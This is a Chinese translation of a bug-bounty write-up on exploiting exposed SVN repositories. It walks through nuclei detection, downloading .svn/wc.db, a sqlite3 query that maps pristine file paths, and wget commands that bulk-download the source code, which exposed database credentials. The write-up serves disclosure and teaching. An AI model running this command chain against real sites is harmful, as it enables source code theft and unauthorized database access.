在这篇文章中,我将分享我如何通过暴露的 SVN (Subversion) 存储库发现源代码泄露漏洞。这个微妙但影响深远的问题导致了重大风险,包括数据库凭据的暴露。
我是如何发现该漏洞的
以下是一些发现此漏洞的简单方法:
方法 1:使用nuclei模板
nuclei -t nuclei-templates/http/exposures/files/svn-wc-db.yaml -l
将 .svn/wc.db 添加到单词列表并使用 dirsearch/ffuf
使用Dot Git扩展,需要更改配置,因为它不带有.svn检测。
此方法涉及调整 Dot Git 扩展以检测“.svn”目录,因为默认情况下它不会执行此操作。
利用漏洞
发现暴露的 SVN 目录后,我按照以下步骤深入挖掘并发现源代码和数据库凭据:
首先,我检查了“wc.db”文件是否可以公开访问。我使用了一个简单的命令来下载它:
wget https://redacted.com/.svn/wc.db
有了“wc.db”文件,我运行了一个 SQLite 查询来提取存储在存储库中的源代码文件的路径:
sqlite3 wc.db ‘select local_relpath, “.svn/pristine/” || substr(checksum,7,2) || “/” || substr(checksum,7) || “.svn-base” as alpha from NODES;’ | tee Snv_Database
该查询列出了存储库中源代码文件的所有路径,以便更轻松地查找和访问它们。
接下来,我生成了直接指向这些源代码文件的 URL:
cat Snv_database.txt | cut -d”|” -f2 | sort -u | sed “s/^/https://redacted.com//” | tee Urls_generated.txt
这为我提供了可用于访问和下载源代码文件的 URL 列表。
最后,使用我生成的 URL,我可以下载源代码文件:
wget — input-file=Urls_generated.txt -P Source_code
我在这些文件中发现了数据库凭据,这些凭据可能被用来获得对应用程序数据库的未经授权的访问。
漏洞的影响
源代码和数据库凭据的暴露可能会导致严重后果。有了数据库凭据,攻击者就可以未经授权访问敏感数据,从而可能导致严重的安全漏洞。此外,暴露的源代码可能会被窃取,从而使竞争对手或恶意行为者能够利用公司的知识产权,从而导致竞争优势的丧失。
结论
这一经验表明,保护 SVN 等版本控制系统的安全是多么重要。即使是很小的疏忽,例如暴露“wc.db”文件,也可能导致重大风险。上报漏洞后,我获得了 400 美元的奖励。
以上内容由白帽子左一翻译并整理。原文:https://infosecwriteups.com/exposing-source-code-via-svn-a-400-discovery-9fc54b3f3f31
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。
原文始发于微信公众号(白帽子左一):赏金猎人 | 利用.SVN文件泄露源代码以及数据库凭据
评论